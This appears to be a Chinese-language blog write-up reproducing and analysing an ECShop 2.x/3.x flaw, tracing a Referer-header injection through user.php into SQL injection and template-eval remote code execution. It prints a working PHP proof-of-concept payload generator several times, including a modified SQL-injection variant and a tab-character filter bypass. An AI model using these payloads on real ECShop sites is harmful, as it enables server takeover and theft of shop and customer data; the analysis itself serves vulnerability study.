ECShop相關漏洞復現/分析
漏洞復現
使用P師傅的Paylaod
<?php $shell = bin2hex("{\$asd'];phpinfo\t();//}xxx"); $id = "-1' UNION/*"; $arr = [ "num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell), "id" => $id ]; $s = serialize($arr); $hash3 = '45ea207d7a2b68c49582d2d22adf953a'; $hash2 = '554fcae493e564ee0dc75bdf2ebf94ca'; echo "POC for ECShop 2.x: \n"; echo "{$hash2}ads|{$s}{$hash2}"; echo "\n\nPOC for ECShop 3.x: \n"; echo "{$hash3}ads|{$s}{$hash3}";

EcShop 2.x

EcShop3.x

從POC看的話,可以看的出漏洞處於Referer該請求頭處
漏洞分析
漏洞位於 user.php
處

這裡面的 $back_act
可控,之後進入 assign
函式中

跟進發現將其值賦給 _var[$tpl_var]
,這個可能就是模版變數

之後呼叫 display
函式


$out
就是讀取模版檔案的內容,然後再用 $this->_echash
分割成陣列,再將奇數的值放入 $this->insert_mod
中,我們跟進這個函式

這裡面先用 |
$fun($para)
動態呼叫POC中找到的可用函式為
insert_ads
根進可以發現,我們的資料被插入了sql中


那麼這裡面顯然是個Sql主入漏洞
將P神的Payload稍微改了一下就能夠Sql注入了
<?php $shell = bin2hex("{\$asd'];phpinfo\t();//}xxx"); $id = "-1' UNION/*"; $arr = [ "num" => sprintf('*/SELECT 1,3,(extractvalue(rand(),concat(0x7e,version())),1),4,5,6,7,8,9,10-- -'), "id" => $id ]; $s = serialize($arr); $hash3 = '45ea207d7a2b68c49582d2d22adf953a'; $hash2 = '554fcae493e564ee0dc75bdf2ebf94ca'; echo "POC for ECShop 2.x: \n"; echo "{$hash2}ads|{$s}{$hash2}"; echo "\n\nPOC for ECShop 3.x: \n"; echo "{$hash3}ads|{$s}{$hash3}"; ?>

至於如何Rce需要繼續向下分析
查詢到的欄位放在 $res
中



其中將 $position_style
賦值為 $row['position_style']

在後面的 fetch
中會呼叫
跟進看看

只要滿足 strncmp($filename,'str:', 4) == 0
就會進入 $->_eval()
函式

eval其實主要就是執行程式碼,重要的就是 fetch_str
這個函式

其中第一個正則

他過濾了類似於 phpinfo()
或者 phpinfo ()
這類的,這裡面使用的是 \t
繞過

這條的正則的意思為

我們繼續跟進去 select()
函式

當傳入的第一個字元為 $
時去除 $
進入 $this->get_val()
函式

 
若我們傳入值不為 .$
進入 nake_var
函式
跟進

若傳入的變數不存在 .
則返回 $this->_var['變數']
;

回到最後前面就會返回
<?php echo $this->_var['變數'];?>

最後拼接到eval中執行

顯然我們可以利用單引號逃逸這個變數,因此exp為
{$asd'];phpinfo\t();//}xxx
放入原Payload就為
<?php echo $this->_var['asd'];phpinfo\t();//'];?>
同時3.x的漏洞也跟這個差不多,不同的只是 $this->_echash
的不同
這裡面貼上P神的POC
<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];
$s = serialize($arr);
$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";
簡單總結
HttpReferer-> 利用$this->_echash進行分割->反序列化動態呼叫函式(函式名,引數可控)->利用union sql注入覆蓋資料->正則繞過,單引號逃逸->RCE